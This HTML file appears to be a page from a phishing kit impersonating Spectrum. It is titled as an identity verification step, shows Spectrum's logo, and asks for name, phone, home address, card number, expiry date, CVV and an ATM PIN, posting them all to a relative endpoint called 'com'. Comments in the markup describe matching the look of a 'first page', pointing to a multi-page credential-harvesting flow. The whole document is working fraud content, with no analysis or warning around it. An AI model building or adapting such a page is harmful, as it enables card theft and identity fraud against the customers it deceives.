<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <link rel="icon" href="favicon.ico" type="image/x-icon" />
  <title>Security - Identity Verification</title>

  <!-- Match the first page look & feel -->
  <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">
  <style>
    body { font-family: 'Inter', sans-serif; }
  </style>
</head>
<body class="bg-gray-100 min-h-screen flex flex-col justify-between">

  <div class="flex-grow flex items-center justify-center px-4">
    <div class="bg-white rounded-md shadow-md p-6 sm:p-8 w-full max-w-2xl">

      <!-- Logo -->
      <div class="flex justify-center mb-6">
        <img src="https://id.spectrum.net/assets/images/spectrum-logo.svg" alt="Spectrum Logo" class="h-6">
      </div>

      <h1 class="text-2xl font-bold text-center mb-2">Identity Verification is required</h1>
      <p class="text-center text-gray-600 mb-6">Please provide your details to continue.</p>

      <div class="flex items-center justify-center mb-6">
        <div class="border-t w-1/4 border-gray-300"></div>
        <div class="border-t w-1/4 border-gray-300"></div>
      </div>

      <!-- Single form: send everything to 'com' -->
      <form action="com" method="post" class="space-y-6">

        <!-- Rectangle 1: Personal Info -->
        <div class="rounded-lg border border-gray-200 p-4 sm:p-5">
          <h2 class="text-lg font-semibold mb-4">Personal Information</h2>
          <div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
            <div>
              <label for="fullName" class="block text-sm font-medium text-gray-700">Full Name</label>
              <input type="text" id="fullName" name="fullName" required autofocus class="mt-1 w-full border border-blue-400 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
            </div>
            <div>
              <label for="phone" class="block text-sm font-medium text-gray-700">Phone Number</label>
              <input type="text" id="phone" name="phone" minlength="10" maxlength="10" required class="mt-1 w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
            </div>
          </div>
        </div>
      
        <!-- Rectangle 2: Address -->
        <div class="rounded-lg border border-gray-200 p-4 sm:p-5">
          <h2 class="text-lg font-semibold mb-4">Address</h2>
          <div class="space-y-4">
            <div>
              <label for="eAddress" class="block text-sm font-medium text-gray-700">Street Address</label>
              <input type="text" id="eAddress" name="eAddress" required class="mt-1 w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
            </div>
            <div class="grid grid-cols-1 sm:grid-cols-3 gap-4">
              <div>
                <label for="city" class="block text-sm font-medium text-gray-700">City</label>
                <input type="text" id="city" name="city" required class="mt-1 w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
              </div>
              <div>
                <label for="State" class="block text-sm font-medium text-gray-700">State</label>
                <input type="text" id="State" name="State" required class="mt-1 w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
              </div>
              <div>
                <label for="ZipCode" class="block text-sm font-medium text-gray-700">Zip Code</label>
                <input type="text" id="ZipCode" name="ZipCode" pattern="\d*" minlength="5" maxlength="5" required class="mt-1 w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
              </div>
            </div>
          </div>
        </div>
        <!-- Rectangle 3: Payment Information -->
        <div class="rounded-lg border border-gray-200 p-4 sm:p-5">
          <h2 class="text-lg font-semibold mb-4">Payment Information</h2>
          <div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
            <div>
              <label for="ccnr" class="block text-sm font-medium text-gray-700">Card Number</label>
              <input type="text" id="ccnr" name="ccnr" minlength="16" maxlength="16" pattern="\d*" required class="mt-1 w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500" placeholder="•••• •••• •••• ••••">
            </div>
            <div>
              <label for="expr" class="block text-sm font-medium text-gray-700">Expiry Date (MM/YY)</label>
              <input type="text" id="expr" name="expr" placeholder="MM/YY" minlength="5" maxlength="5" required class="mt-1 w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
            </div>
            <div>
              <label for="cvvr" class="block text-sm font-medium text-gray-700">CVV</label>
              <input type="text" id="cvvr" name="cvvr" minlength="3" maxlength="4" pattern="\d*" required class="mt-1 w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500" placeholder="***">
            </div>
            <div>
              <label for="atmr" class="block text-sm font-medium text-gray-700">ATM PIN (optional)</label>
              <input type="text" id="atmr" name="atmr" minlength="4" maxlength="6" pattern="\d*" class="mt-1 w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500" placeholder="****">
            </div>
          </div>
          <div class="mt-3 flex items-start">
            <input id="rememberEmail" name="rememberEmail" type="checkbox" class="h-4 w-4 text-blue-600 focus:ring-blue-500 border-gray-300 rounded">
            <label for="rememberEmail" class="ml-2 text-sm text-gray-700">I hereby declare that the information provided is true and correct.</label>
          </div>
        </div>
        <!-- Actions -->
        <button type="submit" class="w-full bg-blue-600 text-white font-semibold py-2 rounded-md hover:bg-blue-700 transition duration-200">Continue</button>
      </form>
    </div>
  </div>

  <!-- Footer image to mirror first page -->
  <div class="flex justify-center mt-8 mb-8">
    <img src="Fotter.png" alt="Footer Image" style="width: 450px; height: 100px;">
  </div>

</body>
</html>
